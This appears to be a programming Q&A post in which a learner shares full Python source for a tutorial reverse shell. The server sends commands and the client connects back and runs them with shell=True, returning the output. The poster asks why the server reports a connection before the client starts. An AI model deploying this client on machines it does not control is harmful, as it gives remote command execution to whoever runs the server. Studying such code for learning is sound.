Python reverse shell server and client
<p>I am following Bucky Robert's (Thenewboston) tutorial on python reverse shell, I have created 2 programs, server.py and client.py, it seems like this:</p>

<p><strong>server.py:</strong></p>

<pre><code>import socket
import sys


#  Create socket (allows two computers to connect)
def socket_create():
    try:
        global host
        global port
        global s
        host = ''  # the server doesn't need to know the ip, only the client
        port = 9999
        s = socket.socket()
    except socket.error as msg:
        print('Socket creation error', str(msg))


# Bind socket to port and wait for connection from client
def socket_bind():
    try:
        global host
        global port
        global s
        print('Binding socket to port: ' + str(port))
        s.bind((host, port))
        s.listen(5)
    except socket.error as msg:
        print('Socket binding error', str(msg) + '\n' + 'Retrying...')
        socket_bind()


# Establish a connection with client (socket must be listening for them)
def socket_accept():
    conn, address = s.accept()
    print('Connection has been established | ' + 'IP ' + address[0] + ' | Port ' + str(address[1]))
    send_commands(conn)
    conn.close()


#  Send commands
def send_commands(conn):
    while True:
        cmd = input('')
        if cmd == 'quit':
            conn.close()
            s.close()
            sys.exit()
        if len(str.encode(cmd)) &gt; 0:  # system commands are bytes and not strings
            conn.send(str.encode(cmd))
            client_response = str(conn.recv(1024), 'utf-8')
            print(client_response, end='')


def main():
    socket_create()
    socket_bind()
    socket_accept()

main()
</code></pre>

<p><strong>client.py:</strong></p>

<pre><code>import os
import socket
import subprocess


s = socket.socket()
host = 'pc_ip'
port = 9999
s.connect((host, port))

while True:
    data = s.recv(1024)
    if data[:2].decode('utf-8') == 'cd':
        os.chdir(data[3:].decode('utf-8'))
    if len(data) &gt; 0:
        cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)  # run command in terminal
        output_bytes = cmd.stdout.read() + cmd.stderr.read()
        output_str = str(output_bytes, 'utf-8')
        s.send(str.encode(output_str + str(os.getcwd()) + '&gt; '))
        print(output_str)

# close connection
s.close()
</code></pre>

<p>Now, by the tutorial, I am supposed to run the server file and then the client file locally and a connection will be established between them, however, I can't successfully do this because as I run the server file I get this output:</p>

<pre><code>C:\Users\dodob\AppData\Local\Programs\Python\Python35-32\python.exe C:/Users/dodob/PycharmProjects/ReverseShell/server.py
Binding socket to port: 9999
Connection has been established | IP 127.0.0.1 | Port 2565
</code></pre>

<p>Even though I haven't ran the client yet. What can I do to fix that and continue the tutorial?</p>